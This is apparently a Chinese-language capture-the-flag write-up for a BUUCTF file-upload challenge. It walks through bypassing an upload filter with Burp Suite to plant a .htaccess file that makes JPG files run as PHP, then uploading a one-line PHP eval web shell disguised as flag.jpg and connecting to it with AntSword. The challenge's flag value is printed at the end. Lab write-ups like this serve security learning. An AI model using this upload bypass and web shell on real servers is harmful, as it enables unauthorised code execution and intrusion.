题目环境:
查看题目源码
SetHandler application/x-httpd-php 通过源码可以看出这道文件上传题目主要还是考察.htaccess配置文件的特性 倘若不先上传.htaccess配置文件,那么后台服务器就无法解析php代码 这个是需要注意的
.htaccess配置文件特性
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess配置文件格式
<FileMatch "xxx.jpg> SetHandler application/x-httpd-php
创建.htaccess配置文件
SetHandler application/x-httpd-php
Kali创建txt文件输入上面的配置命令,并将其命名为111.jpg文件
上传.htaccess配置文件
burp抓包
这里猜测.htaccess文件被过滤 所以不能直接上传.htaccess配置文件 先截断数据包再把上传的111.jpg文件更名为.htaccess文件
右键Repeater
Send
上传成功 现在我们的jpg一句话木马文件就可以当作PHP代码来执行了
创建木马文件
<script language='php'>@eval($_REQUEST['shell']);</script>
在Kali里面创建txt文件,输入以上代码,并将其保存命名为flag.jpg
上传木马文件
上传成功 访问上传路径链接
http://789b3aeb-6590-4b6a-89bb-17c389233df7.node4.buuoj.cn:81/upload/ff435120073c8f309f3001ca17632671/flag.jpg
并未呈现图片格式 访问成功
中国蚁剑连接
在根目录下发现flag
得到flag:
flag{74de0d6c-9d71-455c-96d3-a264277112c9}